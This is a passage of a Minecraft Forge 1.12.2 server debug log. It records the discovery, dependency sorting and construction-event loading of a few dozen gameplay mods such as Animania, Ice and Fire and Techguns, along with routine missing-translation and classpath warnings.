thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.ilexiconn.llibrary.LLibrary) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for llibrary: Requirements: [forge@[14.23.5.2772,)] After:[forge@[14.23.5.2772,)] Before:[] [14:28:00] [Server thread/INFO] [FML]: Forge Mod Loader has identified 38 mods to load [14:28:00] [Server thread/DEBUG] [FML]: Found API mezz.jei.api (owned by jei providing JustEnoughItemsAPI) embedded in jei [14:28:00] [Server thread/DEBUG] [FML]: Found API me.ichun.mods.ichunutil.api (owned by iChun providing iChunUtil API) embedded in ichunutil [14:28:00] [Server thread/DEBUG] [FML]: Found API com.oblivioussp.spartanweaponry.api (owned by spartanweaponry providing spartanweaponry_api) embedded in spartanweaponry [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api-models: owner: ctm, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api-textures: owner: ctm, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API iChunUtil API: owner: iChun, dependents: [ichunutil] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API jeresources|API: owner: jeresources, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API spartanweaponry_api: owner: spartanweaponry, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API JustEnoughItemsAPI: owner: jei, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api-events: owner: ctm, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api: owner: ctm, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api-utils: owner: ctm, dependents: [] [14:28:00] [Server thread/TRACE] [FML]: Received a system property request '' [14:28:00] [Server thread/TRACE] [FML]: System property request managing the state of 0 mods [14:28:00] [Server thread/DEBUG] [FML]: After merging, found state information for 0 mods [14:28:00] [Server thread/WARN] [FML]: Missing English translation for FML: assets/fml/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod animania [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod betteranimalsplus [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod bookworm [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod colorchat [14:28:00] [Server thread/WARN] [FML]: Missing English translation for colorchat: assets/colorchat/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod craftstudioapi [14:28:00] [Server thread/WARN] [FML]: Missing English translation for craftstudioapi: assets/craftstudioapi/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod cw [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod dragonmounts [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod extragems [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod horse_colors [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod iceandfire [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod ichunutil [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod imsm [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod jei [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod k4lib [14:28:00] [Server thread/WARN] [FML]: Missing English translation for k4lib: assets/k4lib/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod landmanager [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod malisiscore [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod malisisdoors [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod mowziesmobs [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod sereneseasons [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod spartanfire [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod spartanshields [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod spartanweaponry [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod teamup [14:28:00] [Server thread/WARN] [FML]: Missing English translation for teamup: assets/teamup/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod techguns [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod ultimate_unicorn_mod [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod mowzies_wings [14:28:00] [Server thread/WARN] [FML]: Missing English translation for mowzies_wings: assets/mowzies_wings/lang/en_us.lang [14:28:00] [Server thread/WARN] [FML]: Mod bauble_wings has been disabled through configuration [14:28:00] [Server thread/WARN] [FML]: Mod mobends_wings has been disabled through configuration [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod wings [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod zawa [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod claimitapi [14:28:00] [Server thread/WARN] [FML]: Missing English translation for claimitapi: assets/claimitapi/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod claimit [14:28:00] [Server thread/WARN] [FML]: Missing English translation for claimit: assets/claimit/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod llibrary [14:28:00] [Server thread/TRACE] [FML]: Verifying mod requirements are satisfied [14:28:00] [Server thread/TRACE] [FML]: All mod requirements are satisfied [14:28:00] [Server thread/TRACE] [FML]: Sorting mods into an ordered list [14:28:00] [Server thread/TRACE] [FML]: Mod sorting completed successfully [14:28:00] [Server thread/DEBUG] [FML]: Mod sorting data [14:28:00] [Server thread/DEBUG] [FML]: craftstudioapi(CraftStudio API:1.0.0): CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar () [14:28:00] [Server thread/DEBUG] [FML]: animania(Animania:1.7.3): animania-1.12.2-1.7.3.jar (required-after:craftstudioapi;after:cofhcore;after:harvestcraft;after:natura;after:botania;after:biomesoplenty;after:twilightforest;after:aroma1997sdimension;after:openterraingenerator;before:thermalexpansion;required-after:forge@[14.23.5.2779,)) [14:28:00] [Server thread/DEBUG] [FML]: betteranimalsplus(Better Animals Plus:8.0.0): betteranimalsplus-1.12.2-8.0.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: bookworm(Bookworm API:1.12.2-2.3.0): bookworm-1.12.2-2.3.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: k4lib(K4Lib:1.12.1-2.1.81): k4lib-1.12.1-2.1.81-universal.jar () [14:28:00] [Server thread/DEBUG] [FML]: colorchat(ColorChat:1.12.1-2.0.43): colorchat-1.12.1-2.0.43-universal.jar (required-after:k4lib) [14:28:00] [Server thread/DEBUG] [FML]: cw(Creature Wisperer:1.0.2): creature_whisperer_1.0.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: dragonmounts(Dragon Mounts:1.12.2-1.6.3): DragonMounts2-1.12.2-1.6.3.jar () [14:28:00] [Server thread/DEBUG] [FML]: extragems(ExtraGems:1.2.8): ExtraGems-1.12.2-(v.1.2.8).jar () [14:28:00] [Server thread/DEBUG] [FML]: horse_colors(Realistic Horse Genetics:1.12.2-1.0.2): horse_colors-1.12.2-1.0.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: llibrary(LLibrary:1.7.19): llibrary-1.7.19-1.12.2.jar (required-after:forge@[14.23.5.2772,)) [14:28:00] [Server thread/DEBUG] [FML]: iceandfire(Ice and Fire:1.8.3): iceandfire-1.8.3.jar () [14:28:00] [Server thread/DEBUG] [FML]: iChunUtil API(API: iChunUtil API:1.2.0): iChunUtil-1.12.2-7.2.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: ichunutil(iChunUtil:7.2.2): iChunUtil-1.12.2-7.2.2.jar (required-after:forge@[14.23.5.2781,99999.24.0.0)) [14:28:00] [Server thread/DEBUG] [FML]: imsm(Instant Massive Structures Mod:1.12): Instant Massive Structures Mod 1.12.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: jei(Just Enough Items:4.15.0.292): jei_1.12.2-4.15.0.292.jar (required-after:forge@[14.23.5.2816,);) [14:28:00] [Server thread/DEBUG] [FML]: landmanager(Land Manager:1.4.0): landmanager-1.12.2-1.4.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: malisiscore(MalisisCore:1.12.2-6.5.1-SNAPSHOT): malisiscore-1.12.2-6.5.1.jar () [14:28:00] [Server thread/DEBUG] [FML]: malisisdoors(MalisisDoors:1.12.2-7.3.0): malisisdoors-1.12.2-7.3.0.jar (required-after:malisiscore) [14:28:00] [Server thread/DEBUG] [FML]: mowziesmobs(Mowzie's Mobs:1.5.4): mowziesmobs-1.5.4.jar (required-after:llibrary@[1.7.9,)) [14:28:00] [Server thread/DEBUG] [FML]: sereneseasons(Serene Seasons:1.2.18): SereneSeasons-1.12.2-1.2.18-universal.jar (required-after:forge@[14.23.5.2768,)) [14:28:00] [Server thread/DEBUG] [FML]: spartanweaponry(Spartan Weaponry:beta 1.3.8): SpartanWeaponry-1.12.2-beta-1.3.8.jar () [14:28:00] [Server thread/DEBUG] [FML]: spartanfire(Spartan Fire:0.07): spartanfire-0.07.jar (required-after:iceandfire;required-after:spartanweaponry@[beta 1.3.0,);required-after:llibrary@[1.7.19,)) [14:28:00] [Server thread/DEBUG] [FML]: spartanshields(Spartan Shields:1.5.4): SpartanShields-1.12.2-1.5.4.jar (after:redstoneflux;after:enderio;after:rftools;after:botania;after:redstonearsenal;after:abyssalcraft;after:betterwithmods;after:thaumcraft) [14:28:00] [Server thread/DEBUG] [FML]: teamup(Team Up:1.1.3-1.12.0): TeamUp-1.1.3-1.12.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: techguns(Techguns:2.0.2.0): techguns-1.12.2-2.0.2.0_pre3.1.jar (required:forge@[14.23.5.2807,);after:ftblib;after:chisel;after:patchouli) [14:28:00] [Server thread/DEBUG] [FML]: ultimate_unicorn_mod(Wings, Horns, and Hooves, the Ultimate Unicorn Mod!:1.5.16): ultimate_unicorn_mod-1.12.2-1.5.16.jar () [14:28:00] [Server thread/DEBUG] [FML]: wings(Wings:1.1.6): wings-1.1.6-1.12.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: mowzies_wings(Mowzie's Wings:1.0.0): wings-1.1.6-1.12.2.jar (required-after:wings;after:mowziesmobs) [14:28:00] [Server thread/DEBUG] [FML]: zawa(Zoo and Wild Animals Mod: Rebuilt:1.12.2-1.7.0): zawa-1.12.2-1.7.0.jar (required-after:bookworm@[1.12.2-2.2.0,);) [14:28:00] [Server thread/DEBUG] [FML]: claimitapi(ClaimIt API:1.12.2-1.2.0): claimitapi-1.12.2-1.2.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: claimit(ClaimIt:1.12.2-1.2.0): claimit-1.12.2-1.2.0.jar (after-required:claimitapi@[1.12.2-1.2.0]) [14:28:00] [Server thread/DEBUG] [FML]: ctm-api-models(API: ctm-api-models:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/DEBUG] [FML]: ctm-api-textures(API: ctm-api-textures:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/DEBUG] [FML]: jeresources|API(API: jeresources|API:0.9.2.60): JustEnoughResources-1.12.2-0.9.2.60.jar () [14:28:00] [Server thread/DEBUG] [FML]: spartanweaponry_api(API: spartanweaponry_api:5): SpartanWeaponry-1.12.2-beta-1.3.8.jar () [14:28:00] [Server thread/DEBUG] [FML]: JustEnoughItemsAPI(API: JustEnoughItemsAPI:4.13.0): jei_1.12.2-4.15.0.292.jar () [14:28:00] [Server thread/DEBUG] [FML]: ctm-api-events(API: ctm-api-events:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/DEBUG] [FML]: ctm-api(API: ctm-api:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/DEBUG] [FML]: ctm-api-utils(API: ctm-api-utils:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/INFO] [FML]: FML has found a non-mod file BackTools-1.12.2-7.0.1.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [14:28:00] [Server thread/INFO] [FML]: FML has found a non-mod file CTM-MC1.12.2-1.0.1.30.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [14:28:00] [Server thread/INFO] [FML]: FML has found a non-mod file JustEnoughResources-1.12.2-0.9.2.60.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [14:28:00] [Server thread/INFO] [FML]: FML has found a non-mod file torohealth-1.12.2-11.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [14:28:00] [Server thread/DEBUG] [FML]: Loading @Config anotation data [14:28:00] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod minecraft [14:28:00] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod minecraft [14:28:00] [Server thread/DEBUG] [FML]: Bar Step: Construction - Minecraft took 0.002s [14:28:00] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod mcp [14:28:00] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod mcp [14:28:00] [Server thread/DEBUG] [FML]: Bar Step: Construction - Minecraft Coder Pack took 0.001s [14:28:00] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod FML [14:28:01] [Server thread/TRACE] [FML]: Mod FML is using network checker : Invoking method checkModLists [14:28:01] [Server thread/TRACE] [FML]: Testing mod FML to verify it accepts its own version in a remote connection [14:28:01] [Server thread/TRACE] [FML]: The mod FML accepts its own version (8.0.99.99) [14:28:01] [Server thread/INFO] [FML]: Attempting connection with missing mods [minecraft, mcp, FML, forge, techguns_core, animania, betteranimalsplus, bookworm, colorchat, craftstudioapi, cw, dragonmounts, extragems, horse_colors, iceandfire, ichunutil, imsm, jei, k4lib, landmanager, malisiscore, malisisdoors, mowziesmobs, sereneseasons, spartanfire, spartanshields, spartanweaponry, teamup, techguns, ultimate_unicorn_mod, mowzies_wings, wings, zawa, claimitapi, claimit, llibrary] at CLIENT [14:28:01] [Server thread/INFO] [FML]: Attempting connection with missing mods [minecraft, mcp, FML, forge, techguns_core, animania, betteranimalsplus, bookworm, colorchat, craftstudioapi, cw, dragonmounts, extragems, horse_colors, iceandfire, ichunutil, imsm, jei, k4lib, landmanager, malisiscore, malisisdoors, mowziesmobs, sereneseasons, spartanfire, spartanshields, spartanweaponry, teamup, techguns, ultimate_unicorn_mod, mowzies_wings, wings, zawa, claimitapi, claimit, llibrary] at SERVER [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod FML [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Forge Mod Loader took 1.092s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod forge [14:28:02] [Server thread/DEBUG] [forge]: Loading Vanilla annotations: sun.net.www.protocol.jar.JarURLConnection$JarURLInputStream@c338668 [14:28:02] [Server thread/DEBUG] [forge]: Preloading CrashReport Classes [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$10 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$11 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$12 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$13 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$14 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$6 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$7 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$8 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$9 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/multiplayer/WorldClient$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/multiplayer/WorldClient$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/multiplayer/WorldClient$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/multiplayer/WorldClient$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/particle/ParticleManager$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/particle/ParticleManager$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/particle/ParticleManager$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/particle/ParticleManager$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/EntityRenderer$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/EntityRenderer$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/EntityRenderer$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderGlobal$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderItem$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderItem$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderItem$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderItem$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureAtlasSprite$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureManager$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureMap$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureMap$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureMap$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$6 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$7 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/Entity$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/Entity$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/Entity$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/Entity$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/EntityTracker$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/player/InventoryPlayer$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/nbt/NBTTagCompound$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/nbt/NBTTagCompound$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/network/NetHandlerPlayServer$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/network/NetworkSystem$6 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/MinecraftServer$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/MinecraftServer$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/dedicated/DedicatedServer$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/dedicated/DedicatedServer$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/integrated/IntegratedServer$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/integrated/IntegratedServer$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/CommandBlockBaseLogic$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/CommandBlockBaseLogic$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/TileEntity$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/TileEntity$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/TileEntity$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/chunk/Chunk$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/gen/structure/MapGenStructure$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/gen/structure/MapGenStructure$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/gen/structure/MapGenStructure$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$10 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$6 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$7 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$8 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$9 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/common/util/TextTable [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/common/util/TextTable$Alignment [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/common/util/TextTable$Column [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/common/util/TextTable$Row [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/client/SplashProgress$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/client/SplashProgress$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/FMLCommonHandler$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/FMLCommonHandler$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/ICrashCallable [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/Loader$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/Loader$1 [14:28:02] [Server thread/TRACE] [FML]: Mod forge is using network checker : No network checking performed [14:28:02] [Server thread/TRACE] [FML]: Testing mod forge to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod forge accepts its own version (14.23.5.2847) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into forge for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod forge [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Minecraft Forge took 0.145s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod techguns_core [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod techguns_core [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Techguns Core took 0.000s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod craftstudioapi [14:28:02] [Server thread/TRACE] [FML]: Mod craftstudioapi is using network checker : Accepting version 1.0.0 [14:28:02] [Server thread/TRACE] [FML]: Testing mod craftstudioapi to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod craftstudioapi accepts its own version (1.0.0) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into craftstudioapi [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for craftstudioapi [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into craftstudioapi for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod craftstudioapi [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - CraftStudio API took 0.071s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod animania [14:28:02] [Server thread/TRACE] [FML]: Mod animania is using network checker : Accepting version 1.7.3 [14:28:02] [Server thread/TRACE] [FML]: Testing mod animania to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod animania accepts its own version (1.7.3) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into animania [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for animania [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.animania.Animania for mod animania [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.animania.Animania [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.animania.config.AnimaniaConfig$EventHandler for mod animania [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.animania.config.AnimaniaConfig$EventHandler [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into animania for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod animania [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Animania took 0.158s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod betteranimalsplus [14:28:02] [Server thread/TRACE] [FML]: Mod betteranimalsplus is using network checker : Accepting version 8.0.0 [14:28:02] [Server thread/TRACE] [FML]: Testing mod betteranimalsplus to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod betteranimalsplus accepts its own version (8.0.0) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for its_meow.betteranimalsplus.BetterAnimalsPlusMod for mod betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class its_meow.betteranimalsplus.BetterAnimalsPlusMod [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for its_meow.betteranimalsplus.common.CommonEventHandler for mod betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class its_meow.betteranimalsplus.common.CommonEventHandler [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for its_meow.betteranimalsplus.init.BetterAnimalsPlusRegistrar for mod betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class its_meow.betteranimalsplus.init.BetterAnimalsPlusRegistrar [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into betteranimalsplus for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Better Animals Plus took 0.097s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod bookworm [14:28:02] [Server thread/TRACE] [FML]: Mod bookworm is using network checker : Accepting version 1.12.2-2.3.0 [14:28:02] [Server thread/TRACE] [FML]: Testing mod bookworm to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod bookworm accepts its own version (1.12.2-2.3.0) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into bookworm [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for bookworm [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for net.soggymustache.bookworm.common.init.items.BookwormItems for mod bookworm [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class net.soggymustache.bookworm.common.init.items.BookwormItems [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for net.soggymustache.bookworm.common.entity.BookwormEntities for mod bookworm [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class net.soggymustache.bookworm.common.entity.BookwormEntities [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into bookworm for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod bookworm [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Bookworm API took 0.009s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod k4lib [14:28:02] [Server thread/TRACE] [FML]: Mod k4lib is using network checker : No network checking performed [14:28:02] [Server thread/TRACE] [FML]: Testing mod k4lib to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] 